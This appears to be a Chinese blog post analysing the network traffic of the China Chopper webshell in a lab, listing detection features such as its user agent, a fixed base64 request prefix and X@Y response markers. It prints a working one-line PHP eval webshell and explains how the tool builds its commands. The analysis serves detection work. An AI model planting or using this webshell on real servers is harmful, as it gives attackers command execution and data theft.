前言
Webshell是hacker经常使用的一种恶意脚本，其目的是获得对服务器的执行操作权限，比如执行系统命令、窃取用户数据、删除web页面、修改主页等，其危害不言而喻。
hacker通常利用常见的漏洞，如SQL注入、远程文件包含(RFI)、FTP，甚至使用跨站点脚本攻击(XSS)等方式作为社会工程攻击的一部分，最终达到控制网站服务器的目的。
有个想法，看看他这个工具的原理，再分析一下菜刀的特征。我用的最多的就是菜刀，蚁剑安装不上，后面有机会再分析。
环境
用的虚拟机的phpstudy搭建的网站，并在虚拟机里面使用wireshark进行捕捉流量包。
物理机使用的是中国菜刀：https://github.com/raddyfiy/caidao-official-version
上传webshell并连接
一句话木马：
<?php eval($_POST[caidao]);?>
通过某种途径，把一句话木马上传到了网站的根域名下
然后在菜刀工具里面，添加一个新的shell连接，密码caidao
同时也开启wireshark进行抓包，为了更直观的分析，对ip进行了过滤，只看与物理机(192.168.80.1) 的通信
成功连接到webshell
翻看一下目录
执行系统命令
上传了一个测试文本
分析流量
我已经将捕获到的数据包上传至csdn，详细见：https://download.csdn.net/download/weixin_52444045/86269653
特征一：
所有的请求都是一致的，方式为POST，路径为webshell的url地址。
我的是POST /123.php
特征二：
菜刀工具发起的请求头里面，默认的UA为百度的爬虫 Baiduspider
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
不过这个东西是可以在caidao.conf里面进行修改的，还是小心起见
特征三
这个是最主要的一个特征，如果请求包中包含下面信息，那么99%就是菜刀连接到shell了
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J
在所有的请求包中，请求体的内容中，key的值就是连接菜刀webshell的密码，后面的值是用base64进行了加密，下面拿出几个值来进行分析下
圈出的这个可以用base64进行解码解出来的，每个请求中的前缀都是一样的，一定要注意这个前缀！！
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J
解码后是下面：
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");
特征四
每个返回包中，结果是用X@Y进行包含的
通过返回包可以直观的判断出是做了什么操作。
个人理解
图形操作去执行一些操作的原理是，利用php、asp、jsp的函数去完成操作。
后来找到在caidao.conf文件里面，有写每个操作的函数
下面对抓取到的一个流量包和代码进行对比
可以看到这个是上传文件的操作
可以看出规律： 执行对应操作的代码为
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");+对应操作的函数代码+;echo("X@Y");die();
然后通过base64编码，传入请求体中。所以前缀是固定的，详细见特征三。
通过分析捕获到的流量包，每一个请求包中都可以解密并找到是什么操作的
